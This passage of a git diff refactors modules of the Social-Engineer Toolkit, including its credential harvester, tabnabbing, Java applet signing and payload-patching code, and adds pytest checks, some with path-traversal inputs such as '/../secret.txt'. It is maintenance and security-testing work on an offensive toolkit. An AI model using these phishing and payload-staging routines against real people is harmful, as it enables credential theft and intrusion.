zipfile here file = zipfile.ZipFile(userconfigpath + "template.zip", "w") - for name in glob.glob(userconfigpath + "dll/*"): + for name in glob.glob(os.path.join(dll_path, "*")): file.write(name, os.path.basename(name), zipfile.ZIP_DEFLATED) file.close() if os.path.isfile(userconfigpath + "msf.exe"): - subprocess.Popen("cp %s/msf.exe %s/src/html/" % - (userconfigpath, definepath), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "msf.exe"), + os.path.join(definepath, "src", "html", "msf.exe"), + ) diff --git a/src/webattack/harvester/harvester.py b/src/webattack/harvester/harvester.py index 81b5e2b7ba..7922bf340b 100644 --- a/src/webattack/harvester/harvester.py +++ b/src/webattack/harvester/harvester.py @@ -1,14 +1,11 @@ #!/usr/bin/env python3 import subprocess import sys -import html import os import re +import glob -try: - from cgi import escape -except ImportError: - from html import escape +from html import escape # need for python2 -> 3 try: @@ -22,10 +19,11 @@ # needed for python2 -> 3 try: from SocketServer import * - import SocketServer + import SocketServer as ss except ImportError: from socketserver import * + import socketserver as ss import threading import datetime @@ -42,6 +40,13 @@ from set_config import HARVESTER_LOG as logpath sys.path.append(definepath) + +def copy_pem_files(source_pattern, destination): + os.makedirs(destination, exist_ok=True) + for pem_path in glob.glob(source_pattern): + shutil.copy2(pem_path, destination) + + if track_email == True: print_status("You have selected to track user accounts, Apache will automatically be turned on to handle tracking of users.") apache_check = True @@ -58,8 +63,11 @@ sys.path.append(definepath) -if not os.path.isfile("%s/src/logs/harvester.log" % (os.getcwd())): - filewrite = open("%s/src/logs/harvester.log" % (os.getcwd()), "w") +log_dir = os.path.join(os.getcwd(), "src/logs") +os.makedirs(log_dir, exist_ok=True) +harvester_log = os.path.join(log_dir, "harvester.log") +if not os.path.isfile(harvester_log): + filewrite = open(harvester_log, "w") filewrite.write("") filewrite.close() @@ -170,11 +178,10 @@ sys.path.append("src/core/ssl") # import our ssl module import setssl - subprocess.Popen("cp %s/CA/*.pem %s" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + copy_pem_files(os.path.join(userconfigpath, "CA", "*.pem"), userconfigpath) # remove old junk we dont need anymore - subprocess.Popen("rm -rf %s/CA;cp *.pem %s" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.rmtree(os.path.join(userconfigpath, "CA"), ignore_errors=True) + copy_pem_files("*.pem", userconfigpath) # if user wants to specify his/her own PEM certificate if self_signed == "false": @@ -188,8 +195,7 @@ print("\nUnable to find PEM file, check location and config again.") exit_set() if os.path.isfile(pem_client): - subprocess.Popen("cp %s %s/newcert.pem" % (pem_client, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile(pem_client, os.path.join(userconfigpath, "newcert.pem")) match2 = re.search("PEM_SERVER=", line) if match2: pem_server = line.replace("PEM_SERVER=", "") @@ -197,8 +203,7 @@ print("\nUnable to find PEM file, check location and config again.") exit_set() if os.path.isfile(pem_server): - subprocess.Popen("cp %s %s/newreq.pem" % (pem_server, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile(pem_server, os.path.join(userconfigpath, "newreq.pem")) # url decode for postbacks def htc(m): @@ -207,7 +212,7 @@ def htc(m): # url decode def urldecode(url): url = url.decode('utf-8') - rex = re.compile('%([0-9a-hA-H][0-9a-hA-H])', re.M) + rex = re.compile('%([0-9a-fA-F][0-9a-fA-F])', re.M) return rex.sub(htc, url) # here is where we specify how many people actually visited versus fell for it @@ -246,7 +251,7 @@ def handle_error(self, request, client_address): pass webroot = os.path.abspath(os.path.join(userconfigpath, 'web_clone')) - requested_file = os.path.abspath(os.path.join(webroot, os.path.relpath(self.path, '/'))) + requested_file = safe_join_webroot(webroot, self.path) # try block setup to catch transmission errors try: @@ -254,10 +259,8 @@ def handle_error(self, request, client_address): self.send_response(200) self.send_header('Content_type', 'text/html') self.end_headers() - fileopen = open(userconfigpath + "web_clone/index.html", "r") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(userconfigpath + "web_clone/index.html", "rb") as fileopen: + self.wfile.write(fileopen.read()) # write out that we had a visit visits.write("hit\n") # visits.close() @@ -267,22 +270,18 @@ def handle_error(self, request, client_address): self.send_response(200) self.send_header('Content_type', 'text/html') self.end_headers() - fileopen = open(userconfigpath + "web_clone/index2.html", "r") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(userconfigpath + "web_clone/index2.html", "rb") as fileopen: + self.wfile.write(fileopen.read()) # write out that we had a visit visits.write("hit\n") # visits.close() else: - if os.path.isfile(requested_file): + if requested_file and os.path.isfile(requested_file): self.send_response(200) self.end_headers() - fileopen = open(requested_file, "rb") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(requested_file, "rb") as fileopen: + self.wfile.write(fileopen.read()) else: self.send_response(404) @@ -309,11 +308,14 @@ def do_POST(self): # put the params into site.template for later user filewrite = open(userconfigpath + "site.template", "a") filewrite.write("\n") - if not os.path.isfile("%s/src/logs/harvester.log" % (os.getcwd())): - filewrite3 = open("%s/src/logs/harvester.log" % os.getcwd(), "w") + log_dir = os.path.join(os.getcwd(), "src/logs") + os.makedirs(log_dir, exist_ok=True) + harvester_log = os.path.join(log_dir, "harvester.log") + if not os.path.isfile(harvester_log): + filewrite3 = open(harvester_log, "w") filewrite3.write("") filewrite3.close() - filewrite2 = open("%s/src/logs/harvester.log" % os.getcwd(), "a") + filewrite2 = open(harvester_log, "a") filewrite.write("\n\n") print(bcolors.RED + "[*] WE GOT A HIT! Printing the output:\r" + bcolors.GREEN) for line in url: @@ -553,7 +555,7 @@ def run(): class SecureHTTPServer(HTTPServer): def __init__(self, server_address, HandlerClass): - SocketServer.BaseServer.__init__(self, server_address, HandlerClass) + ss.BaseServer.__init__(self, server_address, HandlerClass) # SSLv2 and SSLv3 supported ctx = SSL.Context(SSL.SSLv23_METHOD) # pem files defined before @@ -614,7 +616,10 @@ def ssl_server(HandlerClass=SETHandler, ServerClass=SecureHTTPServer): if not os.path.isfile(userconfigpath + "newcert.pem"): print("PEM files not detected. SSL will not work properly.") # copy over our PEM files - subprocess.Popen("cp %s/*.pem %s/web_clone/" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + copy_pem_files( + os.path.join(userconfigpath, "*.pem"), + os.path.join(userconfigpath, "web_clone"), + ) # copy patched socket over to web clone definepath = os.getcwd() # we need to move a modified version of socket to handle SSL diff --git a/src/webattack/harvester/report_generator.py b/src/webattack/harvester/report_generator.py index eb425cadba..2f5be48f58 100644 --- a/src/webattack/harvester/report_generator.py +++ b/src/webattack/harvester/report_generator.py @@ -1,9 +1,9 @@ #!/usr/bin/env python import re -import subprocess import os import datetime +import shutil from src.core.setcore import * # make sure the reports directory is created @@ -122,5 +122,9 @@ class bcolors: except: pass -subprocess.Popen("cp -rf %s/src/core/reports/files %sreports/" % (definepath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() +shutil.copytree( + os.path.join(definepath, "src", "core", "reports", "files"), + os.path.join(userconfigpath, "reports", "files"), + dirs_exist_ok=True, +) print(bcolors.BLUE + "[*] File in XML format exported to %sreports/%s.xml for your reading pleasure..." % (userconfigpath, now) + bcolors.ENDC) diff --git a/src/webattack/java_applet/sign_jar.py b/src/webattack/java_applet/sign_jar.py index 42ec84d20a..8a8d313b68 100644 --- a/src/webattack/java_applet/sign_jar.py +++ b/src/webattack/java_applet/sign_jar.py @@ -4,6 +4,7 @@ # import subprocess import os +import shutil try: print(""" Simply enter in the required fields, easy example below: @@ -20,16 +21,17 @@ print("""*** WARNING ***\nIN ORDER FOR THIS TO WORK YOU MUST INSTALL sun-java6-jdk or openjdk-6-jdk, so apt-get install openjdk-6-jdk\n*** WARNING ***""") # grab keystore to use later subprocess.Popen( - "keytool -genkey -alias signapplet2 -keystore mykeystore -keypass mykeypass -storepass mystorepass", shell=True).wait() + ["keytool", "-genkey", "-alias", "signapplet2", "-keystore", "mykeystore", "-keypass", "mykeypass", "-storepass", "mystorepass"]).wait() # self-sign the applet subprocess.Popen( - "jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar Signed_Update.jar Java_Obf.jar signapplet2", shell=True).wait() + ["jarsigner", "-keystore", "mykeystore", "-storepass", "mystorepass", "-keypass", "mykeypass", "-signedjar", "Signed_Update.jar", "Java_Obf.jar", "signapplet2"]).wait() # move it into our html directory - subprocess.Popen("rm ../../html/Signed_Update.jar.orig", shell=True).wait() - subprocess.Popen( - "cp Signed_Update.jar ../../html/Signed_Update.jar.orig", shell=True).wait() - subprocess.Popen( - "cp Java_Obf.jar ../../html/unsigned/unsigned.jar", shell=True).wait() + try: + os.remove(os.path.join("..", "..", "html", "Signed_Update.jar.orig")) + except FileNotFoundError: + pass + shutil.copyfile("Signed_Update.jar", os.path.join("..", "..", "html", "Signed_Update.jar.orig")) + shutil.copyfile("Java_Obf.jar", os.path.join("..", "..", "html", "unsigned", "unsigned.jar")) print("[*] New java applet has been successfully imported into The Social-Engineer Toolkit (SET)") except: pass diff --git a/src/webattack/java_applet/unsigned.py b/src/webattack/java_applet/unsigned.py index f4f8f0b611..18cddba83a 100644 --- a/src/webattack/java_applet/unsigned.py +++ b/src/webattack/java_applet/unsigned.py @@ -4,13 +4,19 @@ # import subprocess import os -subprocess.Popen("rm Java_Update.jar", stderr=subprocess.PIPE, - stdout=subprocess.PIPE, shell=True) -subprocess.Popen("rm Java.class", stderr=subprocess.PIPE, - stdout=subprocess.PIPE, shell=True) -subprocess.Popen("javac Java.java", shell=True).wait() -subprocess.Popen("jar cvf Java_Update.jar Java.class", shell=True).wait() -subprocess.Popen("jar ufm Java_Update.jar manifest.mf", shell=True).wait() -subprocess.Popen( - "cp Java_Update.jar ../../html/unsigned/unsigned.jar", shell=True) +import shutil + +for artifact in ("Java_Update.jar", "Java.class"): + try: + os.remove(artifact) + except FileNotFoundError: + pass + +subprocess.Popen(["javac", "Java.java"]).wait() +subprocess.Popen(["jar", "cvf", "Java_Update.jar", "Java.class"]).wait() +subprocess.Popen(["jar", "ufm", "Java_Update.jar", "manifest.mf"]).wait() +shutil.copyfile( + "Java_Update.jar", + os.path.join("..", "..", "html", "unsigned", "unsigned.jar"), +) print("[*] Jar file exported as Java_Update.jar") diff --git a/src/webattack/multi_attack/multiattack.py b/src/webattack/multi_attack/multiattack.py index 52d57df9c3..8746d4797b 100644 --- a/src/webattack/multi_attack/multiattack.py +++ b/src/webattack/multi_attack/multiattack.py @@ -3,6 +3,7 @@ import sys import os import subprocess +import shutil import time import signal @@ -86,8 +87,10 @@ def write_file(filename, results): # clean up cloner directory if clonedurl == 0: - subprocess.Popen("rm -rf %s/web_clone;mkdir %s/web_clone/" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + web_clone_path = os.path.join(userconfigpath, "web_clone") + if os.path.isdir(web_clone_path): + shutil.rmtree(web_clone_path) + os.makedirs(web_clone_path, exist_ok=True) # set a quick loop to see what the user wants a = 1 diff --git a/src/webattack/tabnabbing/tabnabbing.py b/src/webattack/tabnabbing/tabnabbing.py index ddd587fcc2..a3357b9251 100644 --- a/src/webattack/tabnabbing/tabnabbing.py +++ b/src/webattack/tabnabbing/tabnabbing.py @@ -1,8 +1,8 @@ #!/usr/bin/env python -import subprocess import re -import urllib import os +import shutil +from urllib import request from src.core.setcore import * # # TabNabbing Source here @@ -44,8 +44,10 @@ URL = "http://" + URL # move cloned site to index2.html -subprocess.Popen("mv %s/web_clone/index.html %s/web_clone/index2.html" % - (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() +os.replace( + os.path.join(userconfigpath, "web_clone", "index.html"), + os.path.join(userconfigpath, "web_clone", "index2.html"), +) # grab the source and write it out to the cloned directory fileopen = open("src/webattack/tabnabbing/source.js", "r") @@ -62,7 +64,7 @@ if attack_vector == "tabnabbing": # grab favicon - favicon = urllib.request.urlopen("%s/favicon.ico" % (URL)) + favicon = request.urlopen("%s/favicon.ico" % (URL)) output = open(userconfigpath + '/web_clone/favicon.ico', 'wb') output.write(favicon.read()) output.close() diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py new file mode 100644 index 0000000000..106797171e --- /dev/null +++ b/tests/test_functionality_fixes.py @@ -0,0 +1,326 @@ +import ast +import os +from pathlib import Path + +import pytest + +import src.core.setcore as setcore +import src.qrcode.qrgenerator as qrgenerator + + +def test_safe_join_webroot_allows_files_under_root(tmp_path): + webroot = tmp_path / "web_clone" + webroot.mkdir() + + resolved = setcore.safe_join_webroot(str(webroot), "/assets/site.css") + + assert resolved == str(webroot / "assets/site.css") + + +def test_safe_join_webroot_blocks_traversal(tmp_path): + webroot = tmp_path / "web_clone" + webroot.mkdir() + + assert setcore.safe_join_webroot(str(webroot), "/../secret.txt") is None + assert setcore.safe_join_webroot(str(webroot), "/%2e%2e/secret.txt") is None + + +def test_meta_path_accepts_configured_msfconsole_executable(monkeypatch): + def fake_check_config(key): + if key == "METASPLOIT_PATH=": + return "/opt/metasploit-framework/bin/msfconsole" + if key == "METASPLOIT_MODE=": + return "ON" + return "" + + monkeypatch.setattr(setcore, "check_config", fake_check_config) + monkeypatch.setattr( + setcore.os.path, + "isfile", + lambda path: path == "/opt/metasploit-framework/bin/msfconsole", + ) + + assert setcore.meta_path() == "/opt/metasploit-framework/bin/" + + +def test_smtp_auth_b64_returns_ascii_text(): + encoded = setcore.smtp_auth_b64("user@example.com") + + assert encoded == "dXNlckBleGFtcGxlLmNvbQ==" + assert isinstance(encoded, str) + + +def test_legacy_payload_binary_path_reports_missing_payload(tmp_path): + with pytest.raises(FileNotFoundError) as excinfo: + setcore.legacy_payload_binary_path(str(tmp_path), "shellcode/pyinject") + + assert "pyinjector.binary" in str(excinfo.value) + assert "legacy Java shellcode injector payload is unavailable" in str(excinfo.value) + + +def test_harvester_writes_binary_static_files_without_encoding(): + source = Path("src/webattack/harvester/harvester.py").read_text() + + assert 'open(requested_file, "rb")' in source + assert "line = line.encode('utf-8')" not in source + + +def test_legacy_payload_injectors_use_valid_choice_names(): + source = Path("src/core/payloadgen/create_payloads.py").read_text() + + assert "legacy_payload_binary_path(definepath, choice1)" in source + assert "shellcode/multipyiject" not in source + + +def test_binary2teensy_no_longer_uses_removed_python2_builtins(): + tree = ast.parse(Path("src/teensy/binary2teensy.py").read_text()) + + removed_builtin_calls = { + node.func.id + for node in ast.walk(tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id in {"file", "unicode"} + } + + assert removed_builtin_calls == set() + + +def test_qrcode_generator_creates_reports_directory(tmp_path, monkeypatch): + monkeypatch.setattr(qrgenerator.core, "userconfigpath", str(tmp_path) + os.sep) + + qrgenerator.gen_qrcode("https://example.com") + + assert (tmp_path / "reports/qrcode_attack.png").is_file() + + +def test_set_http_server_uses_python3_header_and_aes_byte_handling(): + source = Path("src/payloads/set_payloads/set_http_server.py").read_text() + + assert ".headers.get(" in source + assert ".headers.getheader(" not in source + assert 'secret = b"' in source + assert "AES.new(secret, AES.MODE_ECB)" in source + assert "[0-9a-fA-F]" in source + + +def test_encrypt_aes_accepts_bytes_secret_and_text_payload(): + encrypted = setcore.encryptAES(b"1" * 32, "payload") + + assert isinstance(encrypted, str) + assert encrypted + assert not encrypted.startswith("b'") + + +def test_payload_aes_modules_use_explicit_mode_and_python3_urllib(): + paths = [ + Path("src/core/setcore.py"), + Path("src/payloads/set_payloads/http_shell.py"), + Path("src/payloads/set_payloads/listener.py"), + ] + + for path in paths: + source = path.read_text() + assert "AES.new(secret, AES.MODE_ECB)" in source + assert "AES.new(secret)" not in source + + http_shell = Path("src/payloads/set_payloads/http_shell.py").read_text() + assert "from urllib import parse, request" in http_shell + assert "urllib.request" not in http_shell + assert "urllib.parse" not in http_shell + + listener = Path("src/payloads/set_payloads/listener.py").read_text() + assert "import _thread as thread" in listener + assert "conn.sendall(_socket_bytes(" in listener + assert "conn.send(str(" not in listener + + +def test_remaining_python3_text_boundaries_are_normalized(): + sd2teensy = Path("src/teensy/sd2teensy.py").read_text() + assert 'base64.b64encode(powershell_command.encode("utf-8")).decode("ascii")' in sd2teensy + assert "core.powershell_encodedcommand(powershell_command)" in sd2teensy + + smtp_web = Path("src/phishing/smtp/client/smtp_web.py").read_text() + assert 'str(base64.b64encode(to.encode()))' not in smtp_web + assert "smtp_auth_b64(to)" in smtp_web + + setcore = Path("src/core/setcore.py").read_text() + assert "# import the threading, socketserver, and simplehttpserver\n import thread" not in setcore + assert 'conn.sendall(command.encode("utf-8"))' in setcore + assert "conn.send(command)" not in setcore + + +def test_smtp_client_threads_sendmail_callable_instead_of_result(): + source = Path("src/phishing/smtp/client/smtp_client.py").read_text() + + assert "thread.start_new_thread(mailServer.sendmail(\n" not in source + assert "thread.start_new_thread(mailServer.sendmail,\n" in source + + +def test_teensy_file_operations_avoid_shell_wrappers(): + binary2teensy = Path("src/teensy/binary2teensy.py").read_text() + sd2teensy = Path("src/teensy/sd2teensy.py").read_text() + teensy = Path("src/teensy/teensy.py").read_text() + + assert 'subprocess.Popen("rm ' not in binary2teensy + assert 'subprocess.Popen("msfconsole -r ' not in binary2teensy + assert 'subprocess.Popen("rm ' not in sd2teensy + assert 'subprocess.Popen("cp ' not in teensy + assert "os.remove(random_filename)" in binary2teensy + assert "os.remove(answer_path)" in binary2teensy + assert "subprocess.Popen([\"msfconsole\", \"-r\", answer_path])" in binary2teensy + assert "os.remove(random_filename)" in sd2teensy + assert "shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, \"x.exe\"))" in teensy + + +def test_applet_and_ratte_file_operations_avoid_shell_copy_wrappers(): + smtp_client = Path("src/phishing/smtp/client/smtp_client.py").read_text() + setcore = Path("src/core/setcore.py").read_text() + ratte = Path("modules/ratte_module.py").read_text() + ratte_only = Path("modules/ratte_only_module.py").read_text() + + assert 'subprocess.Popen("cp ' not in smtp_client + assert 'subprocess.Popen("cp %s/msf.exe' not in setcore + assert 'subprocess.Popen(\n "cp %s/Signed_Update.jar' not in setcore + assert 'subprocess.Popen("cp src/payloads/ratte/ratte.binary' not in ratte + assert 'subprocess.Popen("cp %s/Signed_Update.jar' not in ratte + assert 'subprocess.Popen("cp %s/ratteM.exe' not in ratte + assert "if filename not in (0, \"\"):" in setcore + assert "if applet_name in (0, \"\"):" in setcore + assert "shutil.copyfile(file_format, os.path.join(userconfigpath, filename1))" in smtp_client + assert 'os.path.join(userconfigpath, "rand_gen")' in ratte + assert 'os.path.join(userconfigpath, "ratteM.exe")' in ratte + assert "patched = data" in ratte + assert "patched = data" in ratte_only + assert 'to_replace = (core.grab_ipaddress() + ":80").encode("utf-8")' in ratte + + +def test_binary_payload_patchers_use_bytes_markers(): + payloadprep = Path("src/core/payloadprep.py").read_text() + dll_hijacking = Path("src/webattack/dll_hijacking/hijacking.py").read_text() + + assert "data.replace(str(" not in payloadprep + assert "data.replace(str(" not in dll_hijacking + assert "def _binary_marker(value, marker):" in payloadprep + assert "def _nul_terminated(value):" in payloadprep + assert "data.replace(_binary_marker(exe_name, \"X\"), _nul_terminated(exe_name), 1)" in payloadprep + assert "data.replace(_binary_marker(webserver, \"S\"), _nul_terminated(webserver), 1)" in payloadprep + assert "data.replace(_binary_marker(ipaddr, \"M\"), _nul_terminated(ipaddr), 1)" in payloadprep + assert "data.replace(_binary_marker(port, \"Y\"), _nul_terminated(port), 1)" in payloadprep + assert 'host = ((len(ipaddr) + 1) * "X").encode("ascii")' in dll_hijacking + assert 'filewrite.write(data.replace(host, (ipaddr + "\\x00").encode("utf-8"), 1))' in dll_hijacking + assert 'subprocess.Popen("mkdir " + userconfigpath + "dll"' not in dll_hijacking + assert 'subprocess.Popen("cp %s/msf.exe %s/src/html/"' not in dll_hijacking + assert 'subprocess.Popen("cd %s/dll;rar a %s/template.rar *' not in dll_hijacking + assert 'subprocess.Popen("rar", shell=True' not in dll_hijacking + + +def test_java_payload_encoding_uses_generated_data_not_literals(): + source = Path("src/core/payloadgen/create_payloads.py").read_text() + + assert "base64.b64encode(b'data')" not in source + assert "base64.b64encode(b'secret')" not in source + assert 'for _ in range(11):' in source + assert 'data = base64.b64encode(data.encode("utf-8")).decode("ascii")' in source + assert 'secret = base64.b64encode(secret).decode("ascii")' in source + assert 'base_encode = base64.b64encode(x86).decode("ascii")' in source + assert 'subprocess.Popen("cp %s/shellcodeexec.custom' not in source + assert 'subprocess.Popen("mv %s/web_clone/index.html.new' not in source + assert 'os.path.join(userconfigpath, "web_clone", "index.html.new")' in source + + +def test_harvester_uses_python_file_operations_for_pem_files(): + source = Path("src/webattack/harvester/harvester.py").read_text() + + assert 'subprocess.Popen("cp %s/CA/*.pem' not in source + assert 'subprocess.Popen("rm -rf %s/CA;cp *.pem' not in source + assert 'subprocess.Popen("cp %s %s/newcert.pem' not in source + assert 'subprocess.Popen("cp %s %s/newreq.pem' not in source + assert 'subprocess.Popen("cp %s/*.pem %s/web_clone/"' not in source + assert "def copy_pem_files(source_pattern, destination):" in source + assert 'shutil.rmtree(os.path.join(userconfigpath, "CA"), ignore_errors=True)' in source + assert 'rex = re.compile(\'%([0-9a-fA-F][0-9a-fA-F])\', re.M)' in source + + +def test_core_export_and_upx_file_operations_avoid_shell_wrappers(): + source = Path("src/core/setcore.py").read_text() + + assert 'subprocess.Popen("mkdir \'%s\';cp %s/web_clone/*' not in source + assert 'subprocess.Popen("mv %s/temp.binary %s"' not in source + assert '"%s -9 -q -o %s/temp.binary %s"' not in source + assert 'shutil.copytree(source_path, destination_path, dirs_exist_ok=True)' in source + assert 'shutil.copy2(source_path, destination_path)' in source + assert 'subprocess.Popen(\n [upx_path, "-9", "-q", "-o", temp_binary_path, path_to_file]' in source + assert 'data.replace(b"UPX", random_string.encode("ascii"), 4)' in source + assert "os.replace(temp_binary_path, path_to_file)" in source + + +def test_java_signing_helpers_avoid_shell_file_operations(): + paths = [ + Path("src/webattack/java_applet/unsigned.py"), + Path("src/webattack/java_applet/sign_jar.py"), + Path("src/html/unsigned/self_sign.py"), + Path("src/html/unsigned/verified_sign.py"), + ] + + combined = "\n".join(path.read_text() for path in paths) + + assert 'subprocess.Popen("rm ' not in combined + assert 'subprocess.Popen("cp ' not in combined + assert 'subprocess.Popen("mv ' not in combined + assert "shell=True" not in combined + assert 'subprocess.Popen(["javac", "Java.java"])' in combined + assert 'subprocess.Popen(["jar", "cvf", "Java_Update.jar", "Java.class"])' in combined + assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar"))' in combined + assert 'shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar.orig"))' in combined + + +def test_webattack_setup_helpers_avoid_shell_file_operations(): + report_generator = Path("src/webattack/harvester/report_generator.py").read_text() + tabnabbing = Path("src/webattack/tabnabbing/tabnabbing.py").read_text() + multiattack = Path("src/webattack/multi_attack/multiattack.py").read_text() + setssl = Path("src/core/ssl/setssl.py").read_text() + + assert 'subprocess.Popen("cp -rf %s/src/core/reports/files' not in report_generator + assert 'subprocess.Popen("mv %s/web_clone/index.html %s/web_clone/index2.html"' not in tabnabbing + assert 'subprocess.Popen("rm -rf %s/web_clone;mkdir %s/web_clone/"' not in multiattack + assert 'subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private"' not in setssl + assert "subprocess.Popen(\"echo '01' > serial;touch index.txt\"" not in setssl + assert 'subprocess.Popen(\n "cp private/cakey.pem newreq.pem;cp *.pem ../"' not in setssl + assert 'dirs_exist_ok=True' in report_generator + assert 'from urllib import request' in tabnabbing + assert 'shutil.rmtree(web_clone_path)' in multiattack + assert 'os.makedirs(os.path.join("CA", "newcerts"), exist_ok=True)' in setssl + assert '"openssl", "req",' in setssl + assert '"-extensions", "v3_ca"' in setssl + + +def test_spawn_uses_python_file_operations_for_staging(): + source = Path("src/html/spawn.py").read_text() + + assert 'subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html"' not in source + assert 'subprocess.Popen("cp %s/src/html/*.bin %s' not in source + assert 'subprocess.Popen("rm %s/index.html' not in source + assert "def copy_matches(pattern, destination):" in source + assert "def remove_matches(pattern):" in source + assert 'if applet_name in (0, ""):' in source + assert 'copy_matches(os.path.join(definepath, "src", "html", "*.bin"), apache_path)' in source + assert 'copy_matches(os.path.join(userconfigpath, "web_clone", "*"), apache_path)' in source + assert 'remove_matches(os.path.join(apache_path, "Signed*"))' in source + + +def test_payload_copy_helpers_avoid_shell_file_operations(): + autorun = Path("src/autorun/autolaunch.py").read_text() + mssql = Path("src/fasttrack/mssql.py").read_text() + create_payload = Path("src/core/msf_attacks/create_payload.py").read_text() + + assert 'subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"' not in autorun + assert 'subprocess.Popen("cp %s/msf.exe %s/1msf.exe"' not in mssql + assert 'subprocess.Popen("cp " + msfpath + "local/%s %s"' not in create_payload + assert 'subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x"' not in create_payload + assert 'subprocess.Popen("cp src/html/msf.exe %s/x.exe"' not in create_payload + assert "def reset_autorun_path():" in autorun + assert 'glob.glob(os.path.join(core.userconfigpath, "dll", "*"))' in autorun + assert "import _thread as thread" in mssql + assert 'payload_filename = os.path.join(web_path, "1msf.exe")' in mssql + assert 'shutil.copyfile("src/html/msf.exe", os.path.join(web_clone_path, "x"))' in create_payload diff --git a/tests/test_packaging.py b/tests/test_packaging.py new file mode 100644 index 0000000000..a48acc6236 --- /dev/null +++ b/tests/test_packaging.py @@ -0,0 +1,76 @@ +import ast +from pathlib import Path +import tomllib + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_pyproject_declares_modern_supported_python_and_launchers(): + metadata = tomllib.loads((ROOT / "pyproject.toml").read_text()) + + project = metadata["project"] + assert project["requires-python"] == ">=3.11,<3.14" + assert "Programming Language :: Python :: 3.11" in project["classifiers"] + assert "Programming Language :: Python :: 3.12" in project["classifiers"] + assert "Programming Language :: Python :: 3.13" in project["classifiers"] + + script_files = metadata["tool"]["setuptools"]["script-files"] + assert script_files == ["setoolkit", "seautomate", "seproxy", "seupdate"] + + +def test_runtime_dependencies_replace_pycrypto_with_pycryptodome(): + requirements = (ROOT / "requirements.txt").read_text().splitlines() + normalized = { + line.strip().lower() + for line in requirements + if line.strip() and not line.strip().startswith("#") + } + pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) + dependencies = {dependency.lower() for dependency in pyproject["project"]["dependencies"]} + + assert "pycrypto" not in normalized + assert "pycrypto" not in dependencies + assert "pycryptodome" in normalized + assert "pycryptodome" in dependencies + + +def test_setup_py_has_no_import_time_installer_side_effects(): + tree = ast.parse((ROOT / "setup.py").read_text()) + unsafe_calls = [] + + for node in tree.body: + if isinstance(node, (ast.Import, ast.ImportFrom, ast.FunctionDef, ast.ClassDef)): + continue + if isinstance(node, ast.If) and _is_main_guard(node.test): + continue + for child in ast.walk(node): + if isinstance(child, ast.Call): + unsafe_calls.append(ast.unparse(child.func)) + + assert unsafe_calls == [] + + +def test_setup_py_imports_setuptools_only_for_packaging_commands(): + tree = ast.parse((ROOT / "setup.py").read_text()) + + top_level_setuptools_imports = [ + node + for node in tree.body + if isinstance(node, ast.ImportFrom) and node.module == "setuptools" + ] + + assert top_level_setuptools_imports == [] + + +def _is_main_guard(node): + return ( + isinstance(node, ast.Compare) + and isinstance(node.left, ast.Name) + and node.left.id == "__name__" + and len(node.ops) == 1 + and isinstance(node.ops[0], ast.Eq) + and len(node.comparators) == 1 + and isinstance(node.comparators[0], ast.Constant) + and node.comparators[0].value == "__main__" + ) diff --git a/tests/test_release_metadata.py b/tests/test_release_metadata.py new file mode 100644 index 0000000000..75a27e0d53 --- /dev/null +++ b/tests/test_release_metadata.py @@ -0,0 +1,22 @@ +from pathlib import Path +import tomllib + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_release_version_is_consistent(): + pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) + set_version = (ROOT / "src/core/set.version").read_text().strip() + + assert pyproject["project"]["version"] == "8.1.3" + assert set_version == "8.1.3" + + +def test_ci_targets_supported_python_versions(): + workflow = (ROOT / ".github/workflows/Python_tests.yml").read_text() + + assert "python-version: [\"3.11\", \"3.12\", \"3.13\"]" in workflow + assert "actions/checkout@v4" in workflow + assert "actions/setup-python@v5" in workflow + assert "pytest -q" in workflow diff --git a/tests/test_runtime_compat.py b/tests/test_runtime_compat.py new file mode 100644 index 0000000000..1300fdeafd --- /dev/null +++ b/tests/test_runtime_compat.py @@ -0,0 +1,67 @@ +import ast +import builtins +from pathlib import Path + +import src.core.setcore as setcore + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_setcore_installs_raw_input_alias_for_python3_modules(): + assert setcore.raw_input is input + assert builtins.raw_input is input + + +def test_harvester_uses_socketserver_alias_for_ssl_server(): + tree = ast.parse((ROOT / "src/webattack/harvester/harvester.py").read_text()) + + imported_socketserver_aliases = { + alias.asname + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name == "socketserver" + } + assert "socketserver" not in _attribute_roots(tree, "BaseServer") + assert "ss" in imported_socketserver_aliases + assert "ss" in _attribute_roots(tree, "BaseServer") + + +def test_harvester_uses_html_escape_directly(): + tree = ast.parse((ROOT / "src/webattack/harvester/harvester.py").read_text()) + + cgi_escape_imports = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) + and node.module == "cgi" + and any(alias.name == "escape" for alias in node.names) + ] + html_escape_imports = [ + node + 